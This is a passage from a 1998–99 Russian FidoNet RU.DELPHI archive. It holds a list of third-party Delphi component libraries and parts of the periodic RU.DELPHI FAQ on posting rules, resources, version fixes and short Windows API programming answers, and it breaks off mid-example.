power ExtBcd Converts an extended value to a BCD number FloatFormBcd Converts a BCD number to a string in the specified format FormatBcd Converts a BCD number to a string in the specified format FracBcd Returns the fractional part of a BCD number IntBcd Returns the integer part of a BCD number IntPowBcd Raises a BCD number to the specified integer power IsIntBcd Checks if a BCD number has a fractional part LnBcd Returns the natural (base e) logarithm of a BCD number LongBcd Converts a long integer to a BCD number MulBcd Returns the product of two BCD numbers NegBcd Reverses the sign of a BCD number PowBcd Raises a BCD number to the specified power RoundBcd Rounds a BCD to the nearest integer and returns a long integer RoundDigitsBcd Returns a BCD number with a specified number of significant digits RoundPlacesBcd Rounds a BCD number to the specified number of decimal places SqrtBcd Returns the square root of a BCD number StrBcd Converts a BCD number to a string in floating point format StrExpBcd Converts a BCD value to a string in scientific notation StrGeneralBcd Converts a BCD number to a string SubBcd Subtracts one BCD value from another TruncBcd Truncates a BCD number and returns a long integer ValBcd Converts a string to a BCD number SysTools - String resource manager ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 43 of 341 - 21 From : Mikhail Chernyshev 2:4615/26 29 Dec 98 05:59:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 8/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- From : Yrik Meiz 20 Oct 98 13:59:06 Venus & ArdaSoft & Genesis 1. Hебольшая библиотека Venus. Указанная библиотека служит для оформительских целей: - есть форма(наследник TForm), которая обеспечивате переход по ENTER, между компонентами; - компонент ToxForm - бросаешь его на форму и добавляются возможности - редактирование вида заголовка (фонты, цвета и т.д.); - на заголоыке формы появляется 4 (четыре) новых кнопки, на которые можно определить свои действия; - есть еще дополнительные свойства по настройке вида формы. - компоненты ToxGraphicButton и ToxButton - это кнопки дляя которых определяются картинки на события UP, DOWN, DISABLE с возможностью разменщения их в нужных координатах (относительно кнопки есть свойства для задания смещения X и Y), и чего-то у них там есть еще. 2. Библиотека ArdaSoft - которая состоит из: - TCharLed - сегментного индикатора (отображает все цифры и некоторые буквы) - TDBPaker - упаковка всех баз указанных в свойстве DATABASE; - TNetInfo, TPCInfo, TSysInfo - для чего дкмаю понятно; - TDigitalCloc - сегментные часы на компоненте TCharLed 3. Библиотека Genesis для работы с БД, состоящая из: Components ( Data-aware ) TcsDBIntelliGrid немного измененный DBGrid TcsDBSearchEdit Edit с возможностью поиска TcsDBSortCombo TcsDBNavigator TcsDBValidator TcsDBFieldBox TcsDBDataDoctor TcsDBTableBackup TcsDBDateTimeCombo TcsDBDateTimePanel TcsDBTimeCombo TcsDBCalculatorCombo TcsDBCodeLookupCombo TcsDBLookupCombo TcsDBLookupList TcsDBRecordPrinter TcsDBLookupDialog TcsDBMemoDialog TcsDBImageDialog TcsDBLookupEdit Components ( Non data-aware ) TcsAntiVirus TcsDateTimeCombo TcsDateTimePanel TcsTimeCombo TcsCalculatorCombo Objects TcsDBGrid TcsPrinter TcsDropDownControl TcsDropDownBox TcsPopupControl Functions IsNumber Trim DatabaseExists TableExists CommaText Procedures GetDataBoundControls WaitX Описывать долго, думаю из названия компонент кое-что понятно. ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 44 of 341 From : Alexey_Mahotkin 2:5020/433 25 Feb 99 23:28:00 To : All Subj : RU.DELPHI.F.A.Q. [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 919985341 2840 127.0.0.1 (25 Feb 1999 23:29:01 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 25 Feb 1999 23:29:01 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.12 1999/02/25 23:25:04 alexm Exp $ (higher colliders) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [3]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [4]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24). Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathname. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [5]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [6]http://www.sysinternals.com. Hа [7]http://www.iarchitect.com находится большой ресурс, посвященный вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [8]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [9]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [10]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [11]http://rx.demo.ru. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [12]http://www.altavista.com, [13]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп * Message split, to be continued * --- ifmail v.2.14.os-p4 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 45 of 341 From : Alexey_Mahotkin 2:5020/433 25 Feb 99 23:28:00 To : All Subj : [part 2] RU.DELPHI.F.A.Q. [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 919985341 2840 127.0.0.1 (25 Feb 1999 23:29:01 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 25 Feb 1999 23:29:01 GMT * Continuation 1 of a split message * [14]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [15]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [16]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена третьим ServicePack'ом, который можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Arial Cyr" Можно попробовать также использовать шрифт типа Baltica, с гарантированными русскими буквами. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? Ответ зависит от версии Delphi. Ежели кому интересно то на [17]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора директории? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPath() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [18]http://www.sawatski.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Closed Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? * Message split, to be continued * --- ifmail v.2.14.os-p4 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 46 of 341 From : Alexey_Mahotkin 2:5020/433 25 Feb 99 23:28:00 To : All Subj : [part 3] RU.DELPHI.F.A.Q. [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 919985341 2840 127.0.0.1 (25 Feb 1999 23:29:01 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 25 Feb 1999 23:29:01 GMT * Continuation 2 of a split message * A: Hадо применять так называемые "thunks". Смотри статью на [19]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [20]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [21]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([22]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [23]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [24]http://www.signsoft.com/opengl. Информацию -- на [25]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [26]http://reality.sgi.com/mjk за примерами и [27]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. В Delphi 4 имеется пример Web-браузера на Delphi. (AL): Еще на [28]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [29]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [30]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [31]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [32]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [33]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на 